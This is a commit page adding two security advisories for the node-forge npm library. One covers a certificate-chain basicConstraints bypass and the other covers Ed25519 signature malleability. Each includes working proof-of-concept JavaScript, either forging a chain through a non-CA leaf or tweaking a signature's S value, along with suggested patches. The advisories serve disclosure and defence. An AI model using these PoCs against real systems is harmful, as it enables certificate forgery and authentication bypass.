Skip to content

Commit 7bc28f1

Browse files
1 parent 0f85c7b commit 7bc28f1

File tree

2 files changed

+137
-0
lines changed

2 files changed

+137
-0
lines changed
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-2328-f5f3-gj25",
4+
"modified": "2026-03-26T22:05:43Z",
5+
"published": "2026-03-26T22:05:43Z",
6+
"aliases": [
7+
"CVE-2026-33896"
8+
],
9+
"summary": "Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)",
10+
"details": "## Summary\n\n`pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.\n\n## Technical Details\n\nIn `lib/x509.js`, the `verifyCertificateChain()` function (around lines 3147-3199) has two conditional checks for CA authorization:\n\n1. The `keyUsage` check (which includes a sub-check requiring `basicConstraints` to be present) is gated on `keyUsageExt !== null`\n2. The `basicConstraints.cA` check is gated on `bcExt !== null`\n\nWhen a certificate has **neither** extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.\n\n**RFC 5280 Section 6.1.4 step (k) requires:**\n> \"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE.\"\n\nThe absence of `basicConstraints` should result in rejection, not acceptance.\n\n## Proof of Concept\n\n```javascript\nconst forge = require('node-forge');\nconst pki = forge.pki;\n\nfunction generateKeyPair() {\n return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });\n}\n\nconsole.log('=== node-forge basicConstraints Bypass PoC ===\\n');\n\n// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)\nconst rootKeys = generateKeyPair();\nconst rootCert = pki.createCertificate();\nrootCert.publicKey = rootKeys.publicKey;\nrootCert.serialNumber = '01';\nrootCert.validity.notBefore = new Date();\nrootCert.validity.notAfter = new Date();\nrootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);\n\nconst rootAttrs = [\n { name: 'commonName', value: 'Legitimate Root CA' },\n { name: 'organizationName', value: 'PoC Security Test' }\n];\nrootCert.setSubject(rootAttrs);\nrootCert.setIssuer(rootAttrs);\nrootCert.setExtensions([\n { name: 'basicConstraints', cA: true, critical: true },\n { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }\n]);\nrootCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 2. Create a \"leaf\" certificate signed by root — NO basicConstraints, NO keyUsage\n// This certificate should NOT be allowed to sign other certificates\nconst leafKeys = generateKeyPair();\nconst leafCert = pki.createCertificate();\nleafCert.publicKey = leafKeys.publicKey;\nleafCert.serialNumber = '02';\nleafCert.validity.notBefore = new Date();\nleafCert.validity.notAfter = new Date();\nleafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);\n\nconst leafAttrs = [\n { name: 'commonName', value: 'Non-CA Leaf Certificate' },\n { name: 'organizationName', value: 'PoC Security Test' }\n];\nleafCert.setSubject(leafAttrs);\nleafCert.setIssuer(rootAttrs);\n// NO basicConstraints extension — NO keyUsage extension\nleafCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 3. Create a \"victim\" certificate signed by the leaf\n// This simulates an attacker using a non-CA cert to forge certificates\nconst victimKeys = generateKeyPair();\nconst victimCert = pki.createCertificate();\nvictimCert.publicKey = victimKeys.publicKey;\nvictimCert.serialNumber = '03';\nvictimCert.validity.notBefore = new Date();\nvictimCert.validity.notAfter = new Date();\nvictimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);\n\nconst victimAttrs = [\n { name: 'commonName', value: 'victim.example.com' },\n { name: 'organizationName', value: 'Victim Corp' }\n];\nvictimCert.setSubject(victimAttrs);\nvictimCert.setIssuer(leafAttrs);\nvictimCert.sign(leafKeys.privateKey, forge.md.sha256.create());\n\n// 4. Verify the chain: root -> leaf -> victim\nconst caStore = pki.createCaStore([rootCert]);\n\ntry {\n const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);\n console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);\n console.log(' node-forge accepted a non-CA certificate as an intermediate CA!');\n console.log(' This violates RFC 5280 Section 6.1.4.');\n} catch (e) {\n console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);\n}\n```\n\n**Results:**\n- Certificate with NO extensions: **ACCEPTED as CA** (vulnerable — violates RFC 5280)\n- Certificate with `basicConstraints.cA=false`: correctly rejected\n- Certificate with `keyUsage` (no `keyCertSign`): correctly rejected\n- Proper intermediate CA (control): correctly accepted\n\n## Attack Scenario\n\nAn attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for `attacker.com`) that lacks `basicConstraints` and `keyUsage` extensions can use it to sign certificates for ANY domain. Any application using node-forge's `verifyCertificateChain()` will accept the forged chain.\n\nThis affects applications using node-forge for:\n- Custom PKI / certificate pinning implementations\n- S/MIME / PKCS#7 signature verification\n- IoT device certificate validation\n- Any non-native-TLS certificate chain verification\n\n## CVE Precedent\n\nThis is the same vulnerability class as:\n- **CVE-2014-0092** (GnuTLS) — certificate verification bypass\n- **CVE-2015-1793** (OpenSSL) — alternative chain verification bypass\n- **CVE-2020-0601** (Windows CryptoAPI) — crafted certificate acceptance\n\n## Not a Duplicate\n\nThis is distinct from:\n- CVE-2025-12816 (ASN.1 parser desynchronization — different code path)\n- CVE-2025-66030/66031 (DoS and integer overflow — different issue class)\n- GitHub issue #1049 (null subject/issuer — different malformation)\n\n## Suggested Fix\n\nAdd an explicit check for absent `basicConstraints` on non-leaf certificates:\n\n```javascript\n// After the keyUsage check block, BEFORE the cA check:\nif(error === null && bcExt === null) {\n error = {\n message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.',\n error: pki.certificateError.bad_certificate\n };\n}\n```\n\n## Disclosure Timeline\n\n- 2026-03-10: Report submitted via GitHub Security Advisory\n- 2026-06-08: 90-day coordinated disclosure deadline\n\n## Credits\n\nDiscovered and reported by Doruk Tan Ozturk ([@peaktwilight](https://github.com/peaktwilight)) — [doruk.ch](https://doruk.ch)",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "node-forge"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.4.0"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 1.3.3"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/digitalbazaar/forge/commit/2e492832fb25227e6b647cbe1ac981c123171e90"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/digitalbazaar/forge"
53+
}
54+
],
55+
"database_specific": {
56+
"cwe_ids": [
57+
"CWE-295"
58+
],
59+
"severity": "HIGH",
60+
"github_reviewed": true,
61+
"github_reviewed_at": "2026-03-26T22:05:43Z",
62+
"nvd_published_at": null
63+
}
64+
}
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-q67f-28xg-22rw",
4+
"modified": "2026-03-26T22:04:41Z",
5+
"published": "2026-03-26T22:04:41Z",
6+
"aliases": [
7+
"CVE-2026-33895"
8+
],
9+
"summary": "Forge has signature forgery in Ed25519 due to missing S > L check",
10+
"details": "## Summary\nEd25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S >= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, [as defined by the specification](https://datatracker.ietf.org/doc/html/rfc8032#section-8.4). This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see [CVE-2026-25793](https://nvd.nist.gov/vuln/detail/CVE-2026-25793), [CVE-2022-35961](https://nvd.nist.gov/vuln/detail/CVE-2022-35961)). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.\n\n## Impacted Deployments\n**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`\n**Affected versions:** tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.\n\n**Configuration assumptions:**\n- Default forge Ed25519 verify API path (`ed25519.verify(...)`).\n\n\n## Root Cause\nIn `lib/ed25519.js`, `crypto_sign_open(...)` uses the signature's last 32 bytes (`S`) directly in scalar multiplication:\n\n```javascript\nscalarbase(q, sm.subarray(32));\n```\n\nThere is no prior check enforcing `S < L` (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where `S := S + L (mod 2^256)` when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.\n\n## Reproduction Steps\n- Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.\n- Place and run the PoC script (`poc.js`) with `node poc.js` in the same level as the `forge` folder.\n- The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (`crypto.verify`).\n- Confirm output includes:\n\n```json\n{\n\t\"forge\": {\n\t\t\"original_valid\": true,\n\t\t\"tweaked_valid\": true\n\t},\n\t\"crypto\": {\n\t\t\"original_valid\": true,\n\t\t\"tweaked_valid\": false\n\t}\n}\n```\n\n## Proof of Concept\n\n**Overview:**\n- Demonstrates a valid control signature and a forged (S + L) signature in one run.\n- Uses Node/OpenSSL as a differential verification baseline.\n- Observed output on tested commit:\n\n```text\n{\n \"forge\": {\n \"original_valid\": true,\n \"tweaked_valid\": true\n },\n \"crypto\": {\n \"original_valid\": true,\n \"tweaked_valid\": false\n }\n}\n```\n\n<details><summary>poc.js</summary>\n\n```javascript\n#!/usr/bin/env node\n'use strict';\n\nconst path = require('path');\nconst crypto = require('crypto');\nconst forge = require('./forge');\nconst ed = forge.ed25519;\n\nconst MESSAGE = Buffer.from('dderpym is the coolest man alive!');\n\n// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).\nconst ED25519_ORDER_L = Buffer.from([\n 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,\n 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,\n]);\n\n// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.\n// This returns a new signature with s := s + L (mod 2^256), plus the carry.\nfunction addLToS(signature) {\n if (!Buffer.isBuffer(signature) || signature.length !== 64) {\n throw new Error('signature must be a 64-byte Buffer');\n }\n const out = Buffer.from(signature);\n let carry = 0;\n for (let i = 0; i < 32; i++) {\n const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.\n const sum = out[idx] + ED25519_ORDER_L[i] + carry;\n out[idx] = sum & 0xff;\n carry = sum >> 8;\n }\n return { sig: out, carry };\n}\n\nfunction toSpkiPem(publicKeyBytes) {\n if (publicKeyBytes.length !== 32) {\n throw new Error('publicKeyBytes must be 32 bytes');\n }\n // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.\n const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);\n const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);\n const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);\n const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);\n const b64 = spki.toString('base64').match(/.{1,64}/g).join('\\n');\n return `-----BEGIN PUBLIC KEY-----\\n${b64}\\n-----END PUBLIC KEY-----\\n`;\n}\n\nfunction verifyWithCrypto(publicKey, message, signature) {\n try {\n const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));\n const ok = crypto.verify(null, message, keyObject, signature);\n return { ok };\n } catch (error) {\n return { ok: false, error: error.message };\n }\n}\n\nfunction toResult(label, original, tweaked) {\n return {\n [label]: {\n original_valid: original.ok,\n tweaked_valid: tweaked.ok,\n },\n };\n}\n\nfunction main() {\n const kp = ed.generateKeyPair();\n const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });\n const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });\n const tweaked = addLToS(sig);\n const okTweaked = ed.verify({\n message: MESSAGE,\n signature: tweaked.sig,\n publicKey: kp.publicKey,\n });\n const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);\n const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);\n const result = {\n ...toResult('forge', { ok }, { ok: okTweaked }),\n ...toResult('crypto', cryptoOriginal, cryptoTweaked),\n };\n console.log(JSON.stringify(result, null, 2));\n}\n\nmain();\n```\n</details>\n\n## Suggested Patch\nAdd strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if `S >= L`).\n\nHere is a patch we tested on our end to resolve the issue, though please verify it on your end:\n\n```diff\nindex f3e6faa..87eb709 100644\n--- a/lib/ed25519.js\n+++ b/lib/ed25519.js\n@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {\n return -1;\n }\n\n+ if(!_isCanonicalSignatureScalar(sm, 32)) {\n+ return -1;\n+ }\n+\n for(i = 0; i < n; ++i) {\n m[i] = sm[i];\n }\n@@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {\n return mlen;\n }\n\n+function _isCanonicalSignatureScalar(bytes, offset) {\n+ var i;\n+ // Compare little-endian scalar S against group order L and require S < L.\n+ for(i = 31; i >= 0; --i) {\n+ if(bytes[offset + i] < L[i]) {\n+ return true;\n+ }\n+ if(bytes[offset + i] > L[i]) {\n+ return false;\n+ }\n+ }\n+ // S == L is non-canonical.\n+ return false;\n+}\n+\n function modL(r, x) {\n var carry, i, j, k;\n for(i = 63; i >= 32; --i) {\n```\n\n## Resources\n\n- RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4\n - > Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l\n\n\n## Credit\n\nThis vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "node-forge"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.4.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35961"
46+
},
47+
{
48+
"type": "ADVISORY",
49+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25793"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/digitalbazaar/forge/commit/bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://datatracker.ietf.org/doc/html/rfc8032#section-8.4"
58+
},
59+
{
60+
"type": "PACKAGE",
61+
"url": "https://github.com/digitalbazaar/forge"
62+
}
63+
],
64+
"database_specific": {
65+
"cwe_ids": [
66+
"CWE-347"
67+
],
68+
"severity": "HIGH",
69+
"github_reviewed": true,
70+
"github_reviewed_at": "2026-03-26T22:04:41Z",
71+
"nvd_published_at": null
72+
}
73+
}

0 commit comments

Comments
 (0)